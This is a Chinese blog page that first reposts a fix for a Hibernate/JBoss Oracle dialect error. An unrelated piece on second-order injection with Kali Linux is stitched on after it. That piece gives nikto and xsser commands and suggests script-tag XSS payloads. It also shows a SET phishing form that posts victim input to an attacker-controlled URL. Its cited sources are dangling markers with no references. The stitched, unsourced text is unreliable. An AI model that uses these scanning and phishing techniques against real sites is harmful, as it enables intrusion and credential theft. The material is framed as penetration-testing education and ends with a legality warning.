Caused by: org.hibernate.HibernateException: unknown Oracle major version [0]

昨天试了一下把mysql的数据源配置mysql-ds.xml放在jboss下面跑,成功了;后来我想那oracle数据源配置oracle-ds.xml也可以在jboss下面跑了。我就试了一下, 在启动Eclipse时报以下错误:

11:04:48,078 INFO  [SettingsFactory] JDBC driver: Oracle JDBC driver, version: 9.2.0.1.0
11:04:48,125 ERROR [AbstractKernelController] Error installing to Start: name=persistence.unit:unitName=#ztf state=Create
javax.persistence.PersistenceException: [PersistenceUnit: ztf] Unable to build EntityManagerFactory
 at org.hibernate.ejb.Ejb3Configuration.buildEntityManagerFactory(Ejb3Configuration.java:677)
 at org.hibernate.ejb.HibernatePersistence.createContainerEntityManagerFactory(HibernatePersistence.java:132)
 at org.jboss.jpa.deployment.PersistenceUnitDeployment.start(PersistenceUnitDeployment.java:311)
Caused by: org.hibernate.HibernateException: unknown Oracle major version [0]
 at org.hibernate.dialect.DialectFactory$1.getDialectClass(DialectFactory.java:173)
 at org.hibernate.dialect.DialectFactory.determineDialect(DialectFactory.java:88)
 at org.hibernate.dialect.DialectFactory.buildDialect(DialectFactory.java:62)
11:04:48,265 ERROR [ProfileServiceBootstrap] Failed to load profile: Summary of incomplete deployments (SEE PREVIOUS ERRORS

FOR DETAILS):

*** CONTEXTS MISSING DEPENDENCIES: Name -> Dependency{Required State:Actual State}

jboss.j2ee:jar=EntityBean.jar,name=PersonServiceBean,service=EJB3
 -> <UNKNOWN jboss.j2ee:jar=EntityBean.jar,name=PersonServiceBean,service=EJB3>{Described:** UNRESOLVED Demands

'persistence.unit:unitName=#ztf' **}

*** CONTEXTS IN ERROR: Name -> Error

persistence.unit:unitName=#ztf -> org.hibernate.HibernateException: unknown Oracle major version [0]

<UNKNOWN jboss.j2ee:jar=EntityBean.jar,name=PersonServiceBean,service=EJB3> -> ** UNRESOLVED Demands

'persistence.unit:unitName=#ztf' **

11:04:48,453 INFO  [Http11Protocol] Starting Coyote HTTP/1.1 on http-127.0.0.1-8090

出现这个问题,接着在网上google了一下,在http://forum.hibernate.org/viewtopic.php?p=2373597下找到了答案。
我出现的问题已解决,如下:
1.persistence.xml下<jta-data-source>的数据源配置为java:/ztfDS。
2.在persistence.xml下<properties>加入SQL方言<property name="hibernate.dialect" value="org.hibernate.dialect.Oracle9Dialect"/>


jboss下数据源的配置,分以下几种情况:
1.选择的是mysql-ds.xml,此文件相应位置设为 <jndi-name>ztfDS</jndi-name>,那么在persistence.xml中相应设置为<jta-data-source>java:ztfDS</jta-data-source>。
2.选择的是oracle-ds.xml,此文件相应位置设为<jndi-name>ztfDS</jndi-name>,那么在persistence.xml中相应设置为<jta-data-source>java:/ztfDS</jta-data-source>。

 

转载于:https://www.cnblogs.com/ztf2008/archive/2009/03/26/1422230.html

### Kali Linux中与二次注入相关的技术操作 #### 什么是二次注入? 二次注入是一种高级攻击形式,通常发生在应用程序未能正确处理用户输入的情况下。在这种情况下,恶意数据会被存储在数据库或其他持久化介质中,并在稍后的某个时间点被重新解析或执行[^1]。 #### 实现二次注入的技术细节 为了利用二次注入漏洞,渗透测试人员需要遵循以下原则技术: 1. **识别潜在的二次注入场景** - 应用程序可能将用户的输入存储到数据库中,并在未来将其作为动态内容呈现给其他用户。 - 数据库中的字段可能会被再次解析为SQL语句的一部分,或者通过模板引擎渲染成HTML页面[^3]。 2. **构造有效的载荷** - 使用工具如 `sqlmap` 或手动编写 SQL 注入载荷来验证是否存在未经过滤的数据存储行为。 - 对于 XSS 类型的二次注入,可以尝试嵌套 JavaScript 脚本标签 `<script>` 并观察其是否被执行。 3. **自动化工具的应用** - 利用 Kali Linux 提供的安全评估工具集,例如 Nikto Xsser 来辅助发现确认这些复杂的注入路径。 ```bash nikto -host http://example.com -output /path/to/output.txt ``` 上述命令用于扫描目标网站并记录结果至指定文件中以便后续分析[^2]。 同样地,在寻找跨站脚本(XSS)可能性方面,可以通过如下方式调用 Xsser 工具: ```bash xsser -u "http://targetsite/page" -g "param=value" --cookie="sessionid=abcde" ``` 4. **实际案例演示——基于 SET 的社会工程学攻击扩展** 当使用 Social Engineering Toolkit (SET) 构建钓鱼网页时,默认生成的 HTML 表单允许自定义提交地址以及参数名称。如果开发者忽略了对 POST 请求数据的有效校验,则可能导致进一步的危害扩散[^4]。 ```html <form action="{{ attacker_controlled_url }}" method="post"> <!-- 用户填写的信息 --> </form> ``` 上述代码片段展示了如何修改默认配置从而引导受害者访问受控资源,进而触发额外逻辑链路下的安全风险暴露。 --- #### 注意事项 尽管掌握此类技能对于合法授权范围内的红队行动至关重要,但在未经授权前提下实施任何类型的入侵活动均属违法行为,请务必严格遵守法律法规!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值